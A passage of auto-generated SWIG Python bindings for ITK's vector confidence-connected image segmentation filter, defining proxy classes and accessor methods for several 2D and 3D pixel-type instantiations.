itkVectorConfidenceConnectedImageFilterIVF42IUC2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF42IUC2)
itkVectorConfidenceConnectedImageFilterIVF42IUC2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_swigregister
itkVectorConfidenceConnectedImageFilterIVF42IUC2_swigregister(itkVectorConfidenceConnectedImageFilterIVF42IUC2)
def itkVectorConfidenceConnectedImageFilterIVF42IUC2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF42IUC2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF42IUC2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF42IUC2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF42IUC2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF42IUC2 *":
"""itkVectorConfidenceConnectedImageFilterIVF42IUC2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF42IUC2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUC2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF42IUS2(itkImageToImageFilterBPython.itkImageToImageFilterIVF42IUS2):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF42IUS2 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF42IUS2_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF42IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF42IUS2_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self) -> itkVectorConfidenceConnectedImageFilterIVF42IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex2') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex2') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self, itkIndex2 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'unsigned short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self, unsigned short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "unsigned short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self) -> unsigned short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex2,std::allocator< itkIndex2 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF42IUS2 self) -> std::vector< itkIndex2,std::allocator< itkIndex2 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF42IUS2
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF42IUS2 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF42IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF42IUS2
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF42IUS2 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF42IUS2.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF42IUS2.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF42IUS2.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_Clone, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF42IUS2)
itkVectorConfidenceConnectedImageFilterIVF42IUS2_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_swigregister
itkVectorConfidenceConnectedImageFilterIVF42IUS2_swigregister(itkVectorConfidenceConnectedImageFilterIVF42IUS2)
def itkVectorConfidenceConnectedImageFilterIVF42IUS2___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF42IUS2_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF42IUS2___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF42IUS2_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF42IUS2_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF42IUS2 *":
"""itkVectorConfidenceConnectedImageFilterIVF42IUS2_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF42IUS2"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF42IUS2_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF43ISS3(itkImageToImageFilterBPython.itkImageToImageFilterIVF43ISS3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF43ISS3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF43ISS3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF43ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3___New_orig__()
__New_orig__ = staticmethod(__New_orig__)
def Clone(self) -> "itkVectorConfidenceConnectedImageFilterIVF43ISS3_Pointer":
"""Clone(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self) -> itkVectorConfidenceConnectedImageFilterIVF43ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_Clone(self)
def PrintSelf(self, os: 'ostream', indent: 'itkIndent') -> "void":
"""PrintSelf(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self, ostream os, itkIndent indent)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_PrintSelf(self, os, indent)
def SetSeed(self, seed: 'itkIndex3') -> "void":
"""SetSeed(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_SetSeed(self, seed)
def AddSeed(self, seed: 'itkIndex3') -> "void":
"""AddSeed(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self, itkIndex3 seed)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_AddSeed(self, seed)
def ClearSeeds(self) -> "void":
"""ClearSeeds(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_ClearSeeds(self)
def SetMultiplier(self, _arg: 'double const') -> "void":
"""SetMultiplier(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self, double const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_SetMultiplier(self, _arg)
def GetMultiplier(self) -> "double":
"""GetMultiplier(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self) -> double"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetMultiplier(self)
def SetNumberOfIterations(self, _arg: 'unsigned int const') -> "void":
"""SetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_SetNumberOfIterations(self, _arg)
def GetNumberOfIterations(self) -> "unsigned int":
"""GetNumberOfIterations(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self) -> unsigned int"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetNumberOfIterations(self)
def SetReplaceValue(self, _arg: 'short const') -> "void":
"""SetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self, short const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_SetReplaceValue(self, _arg)
def GetReplaceValue(self) -> "short":
"""GetReplaceValue(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self) -> short"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetReplaceValue(self)
def SetInitialNeighborhoodRadius(self, _arg: 'unsigned int const') -> "void":
"""SetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self, unsigned int const _arg)"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_SetInitialNeighborhoodRadius(self, _arg)
def GetInitialNeighborhoodRadius(self) -> "unsigned int const &":
"""GetInitialNeighborhoodRadius(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self) -> unsigned int const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetInitialNeighborhoodRadius(self)
def GetMean(self) -> "vnl_vectorD const &":
"""GetMean(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self) -> vnl_vectorD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetMean(self)
def GetCovariance(self) -> "vnl_matrixD const &":
"""GetCovariance(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self) -> vnl_matrixD"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetCovariance(self)
def GetSeeds(self) -> "std::vector< itkIndex3,std::allocator< itkIndex3 > > const &":
"""GetSeeds(itkVectorConfidenceConnectedImageFilterIVF43ISS3 self) -> std::vector< itkIndex3,std::allocator< itkIndex3 > > const &"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetSeeds(self)
OutputEqualityComparableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_OutputEqualityComparableCheck
InputHasNumericTraitsCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_InputHasNumericTraitsCheck
OutputOStreamWritableCheck = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_OutputOStreamWritableCheck
__swig_destroy__ = _itkVectorConfidenceConnectedImageFilterPython.delete_itkVectorConfidenceConnectedImageFilterIVF43ISS3
def cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF43ISS3 *":
"""cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF43ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_cast(obj)
cast = staticmethod(cast)
def New(*args, **kargs):
"""New() -> itkVectorConfidenceConnectedImageFilterIVF43ISS3
Create a new object of the class itkVectorConfidenceConnectedImageFilterIVF43ISS3 and set the input and the parameters if some
named or non-named arguments are passed to that method.
New() tries to assign all the non named parameters to the input of the new objects - the
first non named parameter in the first input, etc.
The named parameters are used by calling the method with the same name prefixed by 'Set'.
Ex:
itkVectorConfidenceConnectedImageFilterIVF43ISS3.New( reader, Threshold=10 )
is (most of the time) equivalent to:
obj = itkVectorConfidenceConnectedImageFilterIVF43ISS3.New()
obj.SetInput( 0, reader.GetOutput() )
obj.SetThreshold( 10 )
"""
obj = itkVectorConfidenceConnectedImageFilterIVF43ISS3.__New_orig__()
import itkTemplate
itkTemplate.New(obj, *args, **kargs)
return obj
New = staticmethod(New)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.Clone = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_Clone, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.PrintSelf = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_PrintSelf, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.SetSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_SetSeed, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.AddSeed = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_AddSeed, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.ClearSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_ClearSeeds, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.SetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_SetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.GetMultiplier = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetMultiplier, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.SetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_SetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.GetNumberOfIterations = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetNumberOfIterations, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.SetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_SetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.GetReplaceValue = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetReplaceValue, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.SetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_SetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.GetInitialNeighborhoodRadius = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetInitialNeighborhoodRadius, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.GetMean = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetMean, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.GetCovariance = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetCovariance, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3.GetSeeds = new_instancemethod(_itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_GetSeeds, None, itkVectorConfidenceConnectedImageFilterIVF43ISS3)
itkVectorConfidenceConnectedImageFilterIVF43ISS3_swigregister = _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_swigregister
itkVectorConfidenceConnectedImageFilterIVF43ISS3_swigregister(itkVectorConfidenceConnectedImageFilterIVF43ISS3)
def itkVectorConfidenceConnectedImageFilterIVF43ISS3___New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF43ISS3_Pointer":
"""itkVectorConfidenceConnectedImageFilterIVF43ISS3___New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF43ISS3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3___New_orig__()
def itkVectorConfidenceConnectedImageFilterIVF43ISS3_cast(obj: 'itkLightObject') -> "itkVectorConfidenceConnectedImageFilterIVF43ISS3 *":
"""itkVectorConfidenceConnectedImageFilterIVF43ISS3_cast(itkLightObject obj) -> itkVectorConfidenceConnectedImageFilterIVF43ISS3"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43ISS3_cast(obj)
class itkVectorConfidenceConnectedImageFilterIVF43IUC3(itkImageToImageFilterBPython.itkImageToImageFilterIVF43IUC3):
"""Proxy of C++ itkVectorConfidenceConnectedImageFilterIVF43IUC3 class."""
thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')
def __init__(self, *args, **kwargs):
raise AttributeError("No constructor defined")
__repr__ = _swig_repr
def __New_orig__() -> "itkVectorConfidenceConnectedImageFilterIVF43IUC3_Pointer":
"""__New_orig__() -> itkVectorConfidenceConnectedImageFilterIVF43IUC3_Pointer"""
return _itkVectorConfidenceConnectedImageFilterPython.itkVectorConfidenceConnectedImageFilterIVF43IUC3___New_orig__()
